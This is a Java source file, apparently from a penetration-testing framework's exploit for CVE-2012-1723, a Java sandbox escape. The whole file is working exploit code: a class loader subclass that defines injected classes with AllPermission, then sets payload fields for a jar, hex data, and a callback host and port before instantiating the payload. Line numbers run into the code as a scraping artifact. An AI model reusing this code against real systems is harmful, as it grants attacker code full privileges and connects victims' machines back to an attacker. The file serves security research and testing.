Path: blob/master/external/source/exploits/CVE-2012-1723/src/cve1723/ConfusingClassLoader.java
19500 views
package cve1723;12import java.lang.reflect.Field;3import java.net.URL;4import java.security.*;5import java.security.cert.*;6import java.security.cert.Certificate;7import java.util.Enumeration;89/**10* Call the protected method11*/12public class ConfusingClassLoader extends ClassLoader {1314public static void defineAndCreate(final ConfusingClassLoader cl, final String name[], final byte data[][], final String hexdata, final String jar, final String lhost, final int lport) {15try {16final Permissions p = new Permissions();17p.add(new AllPermission());18final ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, new Certificate[0]), p);1920final Class<?> clazz = cl.defineClass(name[0], data[0], 0, data[0].length, pd);21cl.defineClass(name[1], data[1], 0, data[1].length, pd);2223final Field payload_data = clazz.getField("data");24final Field payload_jar = clazz.getField("jar");25final Field payload_lhost = clazz.getField("lhost");26final Field payload_lport = clazz.getField("lport");2728payload_data.set(null, hexdata);29payload_jar.set(null, jar);30payload_lhost.set(null, lhost);31payload_lport.set(null, lport);3233clazz.newInstance();34} catch (final Exception e) {35// swallow36e.printStackTrace();37}38}39}404142